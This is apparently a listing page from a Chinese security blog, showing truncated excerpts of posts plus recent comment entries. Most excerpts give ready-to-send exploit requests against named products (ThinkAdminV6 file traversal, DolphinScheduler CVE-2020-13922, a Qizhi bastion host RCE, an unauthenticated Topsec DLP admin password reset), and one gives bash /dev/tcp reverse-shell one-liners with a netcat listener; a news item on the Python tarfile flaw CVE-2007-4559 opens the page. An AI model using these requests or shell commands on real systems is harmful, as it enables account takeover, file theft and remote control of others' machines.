事件概述 据The Hacker News报道，在Python模块库中，存在一个一个长达15年未修复的安全漏洞，该漏洞可能导致约35万的项目陷入风险之中。这个存在安全风险的模块为tarfile模块，该模块涉及人工智能/机器学习、网络开发、媒体、安全、IT管理等多个领域。 其实早在2007年，该漏洞就已经被安全研究人员披露，并且标记过CVE-2007-4559，但是至今为止并没有获得正式的修复补丁，该漏洞尚未修复，已被无意间添加到全球几十万个开源和闭源项目中，从而可能造成庞大的软件供应链攻击面。 研究人员在分析影响后…
一、ThinkAdminV6 任意文件操作 Update.php 三个函数未校验访问权限 目录遍历注意POST数据包rules参数值需要URL编码 POST /admin.html?s=admin/api.Update/node rules=%5B%22.%2F%22%5D 文件读取,后面那一串是UTF8字符串加密后的结果。计算方式在Update.php中的加密函数。 /admin.html?s=admin/api.Update/get/encode/ 34392q302x2r1b37382p382x2r1b1a1…
1、Apache DolphinScheduler权限覆盖漏洞[CVE-2020-13922] 大概就长这个样子 POST /dolphinscheduler/users/update id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone= 2、齐治堡垒机远程代码执行 POST /shterm/listener/tui_update.php a=…
1、天融信数据防泄漏系统越权修改管理员密码 无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd 接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。 POST /?module=auth_user&action=mod_edit_pwd Cookie: username=superman; uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1 2、绿盟U…
假设本机地址10.10.10.11，监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令： bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1 exec 5<>/dev/tcp/10.10.10.11/443;cat <…
最近评论
北木南 发布于 3 年前（04月22日）
北木南 发布于 3 年前（04月22日）
666 发布于 3 年前（02月09日）
念长辞 发布于 4 年前（12月15日）
sk001 发布于 4 年前（09月24日）